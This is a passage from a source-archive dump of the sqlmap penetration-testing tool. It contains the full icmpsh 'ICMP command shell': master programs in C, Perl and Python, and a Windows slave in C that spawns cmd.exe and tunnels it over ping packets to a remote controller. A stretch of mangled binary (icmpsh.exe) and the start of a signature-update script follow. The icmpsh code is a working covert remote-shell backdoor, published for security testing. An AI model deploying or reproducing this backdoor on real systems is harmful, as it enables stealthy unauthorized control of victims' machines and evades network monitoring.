program. If not, see . pass sqlmap-1.2.4/extra/icmpsh/icmpsh-m.c000066400000000000000000000075751326012263700173220ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #define IN_BUF_SIZE 1024 #define OUT_BUF_SIZE 64 // calculate checksum unsigned short checksum(unsigned short *ptr, int nbytes) { unsigned long sum; unsigned short oddbyte, rs; sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((unsigned char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); rs = ~sum; return rs; } int main(int argc, char **argv) { int sockfd; int flags; char in_buf[IN_BUF_SIZE]; char out_buf[OUT_BUF_SIZE]; unsigned int out_size; int nbytes; struct iphdr *ip; struct icmphdr *icmp; char *data; struct sockaddr_in addr; printf("icmpsh - master\n"); // create raw ICMP socket sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); if (sockfd == -1) { perror("socket"); return -1; } // set stdin to non-blocking flags = fcntl(0, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(0, F_SETFL, flags); printf("running...\n"); while(1) { // read data from socket memset(in_buf, 0x00, IN_BUF_SIZE); nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); if (nbytes > 0) { // get ip and icmp header and data part ip = (struct iphdr *) in_buf; if (nbytes > sizeof(struct iphdr)) { nbytes -= sizeof(struct iphdr); icmp = (struct icmphdr *) (ip + 1); if (nbytes > sizeof(struct icmphdr)) { nbytes -= sizeof(struct icmphdr); data = (char *) (icmp + 1); data[nbytes] = '\0'; printf("%s", data); fflush(stdout); } // reuse headers icmp->type = 0; addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip->saddr; // read data from stdin nbytes = read(0, out_buf, OUT_BUF_SIZE); if (nbytes > -1) { memcpy((char *) (icmp + 1), out_buf, nbytes); out_size = nbytes; } else { out_size = 0; } icmp->checksum = 0x00; icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); // send reply nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (nbytes == -1) { perror("sendto"); return -1; } } } } return 0; } sqlmap-1.2.4/extra/icmpsh/icmpsh-m.pl000066400000000000000000000041301326012263700174730ustar00rootroot00000000000000#!/usr/bin/env perl # # icmpsh - simple icmp command shell # Copyright (c) 2010, Nico Leidecker # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # use strict; use IO::Socket; use NetPacket::IP; use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; print "icmpsh - master\n"; # create raw socket my $sock = IO::Socket::INET->new( Proto => "ICMP", Type => SOCK_RAW, Blocking => 1) or die "$!"; # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; print "running...\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { my $ip = NetPacket::IP->decode($buffer); my $icmp = NetPacket::ICMP->decode($ip->{data}); if ($icmp->{type} == ICMP_ECHO) { # get identifier and sequencenumber my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); # write data to stdout and read from stdin print $data; $input = ; # compile and send response $icmp->{type} = ICMP_ECHOREPLY; $icmp->{data} = pack("SSa*", $ident, $seq, $input); my $raw = $icmp->encode(); my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); $sock->send($raw, 0, $addr) or die "$!\n"; } } } sqlmap-1.2.4/extra/icmpsh/icmpsh-s.c000066400000000000000000000221761326012263700173220ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) #define STATUS_OK 0 #define STATUS_SINGLE 1 #define STATUS_PROCESS_NOT_CREATED 2 #define TRANSFER_SUCCESS 1 #define TRANSFER_FAILURE 0 #define DEFAULT_TIMEOUT 3000 #define DEFAULT_DELAY 200 #define DEFAULT_MAX_BLANKS 10 #define DEFAULT_MAX_DATA_SIZE 64 FARPROC icmp_create, icmp_send, to_ip; int verbose = 0; int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) { SECURITY_ATTRIBUTES sattr; STARTUPINFOA si; HANDLE in_read, out_write; memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); // create communication pipes memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!CreatePipe(&in_read, in_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } // spawn process memset(&si, 0x00, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdError = out_write; si.hStdOutput = out_write; si.hStdInput = in_read; si.dwFlags |= STARTF_USESTDHANDLES; if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { return STATUS_PROCESS_NOT_CREATED; } CloseHandle(out_write); CloseHandle(in_read); return STATUS_OK; } void usage(char *path) { printf("%s [options] -t target\n", path); printf("options:\n"); printf(" -t host host ip address to send ping requests to\n"); printf(" -r send a single test icmp request and then quit\n"); printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); printf(" -o milliseconds timeout in milliseconds\n"); printf(" -h this screen\n"); printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); printf(" before quitting\n"); printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); printf("In order to improve the speed, lower the delay (-d) between requests or\n"); printf("increase the size (-s) of the data buffer\n"); } void create_icmp_channel(HANDLE *icmp_chan) { // create icmp file *icmp_chan = (HANDLE) icmp_create(); } int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) { int rs; char *temp_in_buf; int nbytes; PICMP_ECHO_REPLY echo_reply; temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); if (!temp_in_buf) { return TRANSFER_FAILURE; } // send data to remote host rs = icmp_send( icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf, max_in_data_size + ICMP_HEADERS_SIZE, timeout); // check received data if (rs > 0) { echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; if (echo_reply->DataSize > max_in_data_size) { nbytes = max_in_data_size; } else { nbytes = echo_reply->DataSize; } memcpy(in_buf, echo_reply->Data, nbytes); *in_buf_size = nbytes; free(temp_in_buf); return TRANSFER_SUCCESS; } free(temp_in_buf); return TRANSFER_FAILURE; } int load_deps() { HMODULE lib; lib = LoadLibraryA("ws2_32.dll"); if (lib != NULL) { to_ip = GetProcAddress(lib, "inet_addr"); if (!to_ip) { return 0; } } lib = LoadLibraryA("iphlpapi.dll"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } lib = LoadLibraryA("ICMP.DLL"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } printf("failed to load functions (%u)", GetLastError()); return 0; } int main(int argc, char **argv) { int opt; char *target; unsigned int delay, timeout; unsigned int ip_addr; HANDLE pipe_read, pipe_write; HANDLE icmp_chan; unsigned char *in_buf, *out_buf; unsigned int in_buf_size, out_buf_size; DWORD rs; int blanks, max_blanks; PROCESS_INFORMATION pi; int status; unsigned int max_data_size; // set defaults target = 0; timeout = DEFAULT_TIMEOUT; delay = DEFAULT_DELAY; max_blanks = DEFAULT_MAX_BLANKS; max_data_size = DEFAULT_MAX_DATA_SIZE; status = STATUS_OK; if (!load_deps()) { printf("failed to load ICMP library\n"); return -1; } // parse command line options for (opt = 1; opt < argc; opt++) { if (argv[opt][0] == '-') { switch(argv[opt][1]) { case 'h': usage(*argv); return 0; case 't': if (opt + 1 < argc) { target = argv[opt + 1]; } break; case 'd': if (opt + 1 < argc) { delay = atol(argv[opt + 1]); } break; case 'o': if (opt + 1 < argc) { timeout = atol(argv[opt + 1]); } break; case 'r': status = STATUS_SINGLE; break; case 'b': if (opt + 1 < argc) { max_blanks = atol(argv[opt + 1]); } break; case 's': if (opt + 1 < argc) { max_data_size = atol(argv[opt + 1]); } break; default: printf("unrecognized option -%c\n", argv[1][0]); usage(*argv); return -1; } } } if (!target) { printf("you need to specify a host with -t. Try -h for more options\n"); return -1; } ip_addr = to_ip(target); // don't spawn a shell if we're only sending a single test request if (status != STATUS_SINGLE) { status = spawn_shell(&pi, &pipe_read, &pipe_write); } // create icmp channel create_icmp_channel(&icmp_chan); if (icmp_chan == INVALID_HANDLE_VALUE) { printf("unable to create ICMP file: %u\n", GetLastError()); return -1; } // allocate transfer buffers in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); if (!in_buf || !out_buf) { printf("failed to allocate memory for transfer buffers\n"); return -1; } memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); // sending/receiving loop blanks = 0; do { switch(status) { case STATUS_SINGLE: // reply with a static string out_buf_size = sprintf(out_buf, "Test1234\n"); break; case STATUS_PROCESS_NOT_CREATED: // reply with error message out_buf_size = sprintf(out_buf, "Process was not created\n"); break; default: // read data from process via pipe out_buf_size = 0; if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (out_buf_size > 0) { out_buf_size = 0; rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); if (!rs && GetLastError() != ERROR_IO_PENDING) { out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); } } } else { out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); } break; } // send request/receive response if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (status == STATUS_OK) { // write data from response back into pipe WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); } blanks = 0; } else { // no reply received or error occured blanks++; } // wait between requests Sleep(delay); } while (status == STATUS_OK && blanks < max_blanks); if (status == STATUS_OK) { TerminateProcess(pi.hProcess, 0); } return 0; } sqlmap-1.2.4/extra/icmpsh/icmpsh.exe_000066400000000000000000000155411326012263700175560ustar00rootroot00000000000000œí# #8 Ÿ"­¤•S:d8¦5‘ÉtȉbS^D5]c»¬\½Äq5¢'MN[æµû[¼ÚÝìË©2ÈUÞÄ.‹á¸Z€+ûp÷K´‚lÀ6sȱ‹š/J˜ƒF¤ ´q¬{n®}Yê½LóöÌ%5IáëcÞÑèÍܹ ÷Þ¹óñ çí"`f]z„op¤ù=Žn ùÉâ×A7(#óôjäÉ’ç¯BæþÚöž°YÅl±î; (uy¢Ñ˜Q ª-]f•Â.©ùžI©Hi-ëÊË4¸Œ)™i(^F26t¹ŽqH^l¤¸‰ËÝ7UáÝ€YR…»p-B×ÎÇ訷‹ë0¯GTc&î¢ >4Æ‹ÿŒÅJ¢ƒpù ºÚ§Ã"¿ŠT„¶Eô耿º/?poÞ`DØ3ªì/H)—Œ­…œ¹wÒŸtþº12ÃüsþÍ­ÛA”hò¨E¸C6Ä"ÔÐ@"Ð×ÖÔËýÓ*©í é­ÞJ@7ZP¥ÝQ¦É†¿…¾ÝÕ´o‰û¿Ž\ì´§Æt·J©æe0¦æ5=úç#3¿(Í@Lp(êeÄŸ42ÖÖåWB*•ù—-oYó×7;¼é¨T¨æf>¥-žšÌÁÅ©“™RÀ“ª®É{Ô¤u/¼ôAä6j˜Üu1‚ŽfCIA¼]º ÙàÈœðÉëõ³þ¨µA"Þq´ÔËÛç eÔ¯ÃòY£Ìý¿òXà³@a™AŠáÖ#ãRERqʇ/Ñ–u)å³+¥P)­©ÈÕUƒ*ïÀUF<äfeÍòKy`Kb”‡¨äMå¯À7ðrŒZË1Ë¡“` NsÞÖã¢ðê‰ò—&ù¯ vgÙ‡gƒò>óâj}ÆP7Qs`ÃG…€ñSçi½õ®TÐÒ<Í+Â/5A0ÿŸ4|¶CAWŸÄ‹‹Xú¯¹¦yÛK×7_¢š<(ñZ¿û#i—&*[@Îp'ÌÜ?J#ve–r§Þƒ° ÎJ´Ê“¦ É5ÀÄEñ±³X&KNCG®? FªN¿å(rË÷:F,äs›¨ž?Ú•¬þmæt&õ9È¿)9ó­˜ÿfË@Žù—ʘs@“uϳúÊÛ_‚åDOÿÈ, ÛОíÞ‘OØæÇ,zý§C÷ K¦©¬y2ÝvìV®ïcÁ£¡Hœ%"|¦) 1ð%žƒ$ZE›¥mŠS¼g—KCNÞ8†Wÿ´”’Põï½;AöI–Òò3Å(ý·ÊÒ1~µ³,¥œyù´CË;ͤýAY­u*CvO½µe«ÝWx7à yœÆ1Ÿ%ÊRÉŽ´CͬuÜ’9·Ü"9»”T¤×£D@rjùmIþ­öaŽƒæýdð@ xXÎÜAŒ Šì Ú.Îh3Fÿ·„É>§Õ³ê:!J;^èËúHsÑs¡J“|sëSýÃmdÖ½q¬ôå±âF°–e'ZcªE³v›~ñz;ìTÍ®Sà*êEjÌq)qoA«ÜûeTyîÈ.á¯øEéÏ ¦äƒýpQ­øøT'³õÚó©šwˉ줸êÒüC€ÒQµ€uò,¸ŸLèllî}¹¬Ì|ìòÌäpˆ…åÛ]t7Í‹ƒ ÔÊGXë·V†õ·„öÇaÞ¯YòŽò`ŸÚðÜ\òC3†§eÒœwžà½$Þ„ñäµSvïýJµžºü—œ—çÉäß?Çôï^´)\Õ ÍókOƒ¯´¡ÓGÓé}Ó‰yÁï>o̹’ë_7ò½¦f§'“ç'“ ¬É‹Øä¥]yï“©Â>aX¬ûQ­ó/åì)ùøÞÂÉeÇ?‡é.e ¡ì!AîÓò¡³XýÝ,­Mÿ¦Ux¿=ëîõ¤"ýX¼®8ñò‘×°IñÓíXRûó`ü&cD„nv×Þ³ú ŽýüCÐ彞ÁžÃ˜b^Fö¤¹ ÅZ¤ãBOÏÍë«yÆ-Xõ«-hù¾ò³'õÁä:ˆöшö ¿œŸ¿`Öô wUÖŒrœUõ§Tx°{¢§¾ÆSfü†*Bq7Þ3Ø|Ë ¤^æuŠ&N„ûnï$³‹à°B¿ŒŒ¶Òí “þ¥ÔÅ­0߆'P·* ¬E„ÏWƒ$“bCn?ÏÌP»ÔáX0 <ø|mÛ5i0ÝîEßjûöÜ  ¶äß¡´ûhý·®0iÃ|Ûö40A oõ§Š¢á‰x¥‚ºX€ ¢™BÏþq‚ÐÏ#_K¢Ëà~ÆDõBîóâ¾pµBMýcöFêqèb+ïÿ¨²ý[{Ì9¸9â_ Oè´üGi&Ã$5AI¢žaî*6ÝV€û 8°>ǯ¼´}ÐF0§k2öÚ|áÞ?{é=Š 6‘? x•Œy¢ÚQJ¡†–«˜¬c(§Új4¨Ô\Eø-çð q3üe8ê3 ~°i':Ãg¯ÕZHHOâª-o¸FUÅm^à‡þs÷Æl±U ƒ¤Å*J´%ŠÄ bo˜ï(Ö†)‰bo4/`‡£àš€Æz_þÊ%jº€uO•TZ»´µÊë=‘w´- z£Š„ãB‘_a¦äÍà¢Yo§«·‡\UR¶>wÉÁžgÙÜ (" 4téu?"w Ä}^©TfrÒO–)=¿D±•kvY}‰Ý¥[f2?8>ÍÄ¢ ª"n;< Ç’-+RÁpÁ׈#E …õagb -H9wôÔ‹ÄÇpõ| XÆ3u-|g hW³qâ±Ô¢(_m‰z‘£(zV»©GB~‚BÈz]ÛÁÉÖÞØ/5%l±_q¾"~2Âï$™üo Ê‰;S±1Ú¢y=èP‰/(„4ú)*Ý (rµ†ã]l#¯)ùÉ­(ûÉ>HÒI8Ùš¾©ûVäÿsîpÁ½¶óKJÝãÚ%,íÚÚ¶D$£Ó–Ú»Ißx~×j­Xƒ]®Xÿ‚9͆rK"T8‘HV›I‘›(Áäµ: ¡ ?ÓÔ{í·ŽjÚõ "Ýûà¯Dg¤v† (¸ûádd` ÔM”%€©tm ‡ªÔ½è‹ÒÊ(4Ú|($µ5º ƒ+ÿ˜¤‹—¿ÃÌŸx`#€òi%ˆúÀåÛ^7Ã9^‚ qÒ{¤f×67Z¤e7rü¶>ꃴpÒÁ1,ÖOä8^>e‡ ~Òs¤F7aÐÍx©u-r¤Õe^J<´r-w-cÒa7x‚CEºÈÆ/w\\^ב¦73,HÁÒxLc^„2GI‘·ÝW³.¿nŸ^ 'çkWÿT¹Bcå} ´:J^2QW·{Kq=aÄMIÝÈÖ”(ê¹±…͊ЦÙ›]ˆêI¦k=ž ·©EÓ k¦ªÞŽA=„ô­Ña%l’û‚Us¡‘®}S™ ·:+J1! ·«‰ÞÔK‰›tî4„ùcB.kØŒôy€ZÑ­‘õ/ŽTŠeÝf1_Î ° hžT>Ý$¡¬áânTúæ³Ý;vªà^Ì0mZcƒ¾ú¨4‰:F¿t›OvËÜÎ'=XÕЈ·¹yò±wŒ|(([©õ_íýî®]cÕ»_ÿ~hSÿð?êHÖ÷¹úqÆþÌ|}æÿÊ9†Ü%¸Deˆþ“ͬèëéƒò–»åi¾œÂ*Ùñö¦!O¡dÒÿ ý±! " glüØê šë >·®©tEùŒ£6Q]‘}(&ïsŒ‡-JÇwâ¦kü ÒŸ¥W ˜kASã&Š-ŠtxôBœX)ð,-¹V0q4ùÉXÚ}—÷²Þ¸Úêr2‡2—Ý\$^íLKÌ…Å Cˆ*µÏ0 )çcC#çd²Eã“„Ö,«Ù 9ž¡z )’% d˜Aá±öhÎÕ9Ǥà—\`².ArÉ ”í>œ«²¿ØÙƒ<&`Ünd¼^aÜLÎÁá*?âÀ *1­Í¬4[Ö˜¡ ¼ÌÐF‡A‚ÎFôáE4ña#Õ‡®¦=9``&܇¦AF æúÜ–Õ8ïÓíêä©Ïåý,0i÷04)Ÿ¸¦Y<±Ú„u«­©Ô7)Ÿ…8¥©L ,‰SîÃH¢óÄÒ§5(2½©PkË¥êÃtèŒhakÉò­gÎ%.S¢¿Í)¨&TàVuÇ·ø¦*q‰×±‡¤SERxÒè]–þgÒ3™¹i°¹¤µÜûÖ Cb å]¶d„h²Ý YØ»äM8ê a®Ï'ùâ£ÀG¼»/ ø³ú¸ ú§cÚâ9I5ÁSÆÊh!—|ú¹ "¾ÏÅqÿ² ðð8)<56ºØÒäkWIž>Ôçuï˜Þf'(PâcžçÞÈè’;aAϽáEVðÄl±1ìÁ¯ø˜A:[{›t¬A4É9”Ïй)IJœÁ!¬xãÑıY‹8Ë$ÅÂëŸ#yÖÂó¡©Ïbð¿ð·¢*ZÇmZ‹ wD…! Ë¥}¦(– ,³Ë>gYqÊÍLîSåR¡Ïuèëzô<}ú¸€îÏt½Ìã;hÐ8zôª‚·xwè›{ô\}úÜÛûœà¿€þ¸€>?Ít%?oЇ{ô.~½\PôÁó}úF~Ðïñ¼Ð{Ûdzôƒ}ú˜û¾¼ÐB‚íR}ú.~Ý\ØA”h9°½!?3?`i`Ît½>°€!?@_ØAšhº0?ßY @V ×wè¡(tè^~3?iÐÇó=¯nÐ\}úf~›€A‘hº[ ÷wè§{ôi~YPôÕ}ºQ tè~SÍx¥€ahПlÐ<}ºPP ¯€ÞU @^ û{ VPô5~ý~~ý˜€¾%?¯Ït½5?ïoÐtèYE5ªÏAZ z ÐB¶õ;|½7MçÌQ½XfÝÁ%Föv4ûÅÚ5<`(ZÕ^xÏ2«rr  Áý €SÀÃýóåzüó°½áÅ… æ¶ï$Üö$eøRnœ ½©ÈC\¬Â*=êÄf™ÛĽ !è8{ô&X)<«€5ˆç޼Ð`hЧzô2}ú°€aÏtý”€!VAQ ûŽ !èÃ}úŒ‹€AUØA”hú^~B\ Htè<}ú!èÇ{ ¯àù€!VKPôXz €Þ^ l~SPô.~wèpwèL‚çÇó=@Q —vèB}û;!è}º0?wèr}ú3!èç{ôe~Ÿ€/?ǯ&ÞCú }µ€ÞX ÷vè¾¼ÐÇz 6?ß\ ïlÐ¥¼ÐŸoÐPF±e¶vèl=Ì×ç…+?ŸlÐÛzô âžRPôƒ}úz~ÝP ïHÑùÎêßÞÀÎÓ”ìCR'ÆAáªßÝΓgètìCX²C—ß® ˆ‡ûçDçùD´½ÿâ Ý´òrìCÏdñãU¿¬í@ RüBþ“Qà Á0­2ÿ#þ@‹þvê±{…²'â÷)u@ÈÄA2J¾ÿ¦‹ýî4~Õ?áx‰†CP»ð ˜Çgå—/MöIŒ-Ê¿ V(ÃRÂõ~Éì˜lÿǼm›’dŸEeC2ŠÉó·ù#ÀWG£p ÿOÊX¹AYÏ@ºÍBR£C|Hãf„.þ|ÆCÆWÿr·)dúTó± CkPGÚÖFb–’…ç–}ó’g¥­À©¡%·Œò/¹X”þ} ÌWŸiäàÜXÅW mžRO÷%Œò}/e–þ¸€ýÖ6™x5³vg*£#ÇÙhµaŒáÕêúoßVŸ°é“ôgŸ½d‘ÐpkrëLa ¿uN¶,2 ÆKÕ<ÿ‚ÇûH€-“ó<ù´ÅW@l%ýyWÙ)ŠmŠ;k…ZÅ’=â 7?·Õj²`MVdT¿¥jýZY›ºuÍç}9Ùv”¦AüÈà¸ÍiÚ9·”©•gêdR zmÝ>æ@Ó‡ UKŸ…få;¡FNÊ·tÏÌrÉÿz”.›œÿz5‡RÂPjšß¬N5&n^3ø±6ɦóD‹'š’¯PMÏ¥OÊ:Öa+ø‘Ëú¬c°”ž–·”YTôÆ19NZR %n}бû”¿Sßþd!‡3ÓSŒç,Àl±ÅÆá]–Jûb߆î±ñœU Î[øm»ÏÆL"AÃ}ºa, z>Ôˆ8PçáÇ6D²B¨ð|©l¶Aý ‘ )Ç«¤g¼<¯UIÔŒ²eWdÏEðÄp‹­žÇ4R‘ò?ÀôUDË@¹JK¤˜ý´˜Ù ŸRI@Räñs”Mdå$}ú÷€ýu”­Õc/ª”å!YÃÔùY¯ùÅŒ`aKÚFÅŒrÅÿØjyŠÃÚåJ÷¢Œ’â sÿУÇüÛcŸL}}WÕ¶)¯½-'Â×ÏôüÒmóù‚¯q?ñšBÈÏRÏØK¼©ÄY”Û4œT7p/Œ"cÈ¡xÂýrÄÖêZÎAý{/†²eþv£6:JΘTìÐ};áv¢´—Ò´¥½2p[ôœ0´–ït8ï ˆVÚƒ‘x•k¶$°¥uìŠU%e‰o…½£àV4Zw'.jˆÆdE”3k¹7v©r§«ø¾‰’79ñÝM…a%ƒ!2àŒÂq€nulq;ðÅ\ŽŽçn|nZ;H…ImÛX%ÀÕ9šqD$zßœÁ÷)kr¶ºáA™9á¯VɨÚh(ƒEƒ³ó ƒ=¡"•'çƒÀ¡ôYl#(Ï7Ñ %·†€”® ²<Ý"·–iWý9.”iÖ©C-_›õRµyV$¶ÞݾùQ&“·Iߣ‘$î-%I·µÃk§Wðµ’B¥ÏË–HZ ã9#Ѱpd¥¹ýžR1nüп€(&ß‹ð×¶—œƒsw2¶NÕÇ8 šÁ¾H{Óã·¼LPy2/!¶Ä6“G' ¤ã—’ïPѦJDp†<ÜØýÉfØîÌgŒ¹EÎi ÎvPÇ{¼•´°% ͱ8º þÐRþOçvl‰ꅉж´ðηUZŠÓw›I‘ísjyŒŸ=˜|Á6šF–:¸Å·ŽF}('º»]RdS¸ÚmÍÉÆiR&çÅìÐÚ¡Y4€TÖ~>AúØÍBé²E>*XßdBp¶h¡ zɵG‡¯gʋϋI˲˕nU¼Û¨]ø%@ù‡>Þâsqlmap-1.2.4/extra/icmpsh/icmpsh_m.py000066400000000000000000000105431326012263700175770ustar00rootroot00000000000000#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import select import socket import subprocess import sys def setNonBlocking(fd): """ Make a file descriptor non-blocking """ import fcntl flags = fcntl.fcntl(fd, fcntl.F_GETFL) flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: cmd = '' # Wait for incoming replies if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh-m.py \n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2]) sqlmap-1.2.4/extra/mssqlsig/000077500000000000000000000000001326012263700160025ustar00rootroot00000000000000sqlmap-1.2.4/extra/mssqlsig/update.py000066400000000000000000000117611326012263700176440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import os import re import urllib2 import urlparse from xml.dom.minidom import Document # Path to the XML file with signatures MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml") # Url to update Microsoft SQL Server XML versions file from MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" def updateMSSQLXML(): if not os.path.exists(MSSQL_XML): errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML print errMsg return infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL print infoMsg try: req = urllib2.Request(MSSQL_VERSIONS_URL) f = urllib2.urlopen(req) mssqlVersionsHtmlString = f.read() f.close() except urllib2.URLError: __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) __mssqlHostname = __mssqlPath[1] warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname warnMsg += " check your Internet connection and retry" print warnMsg return releases = 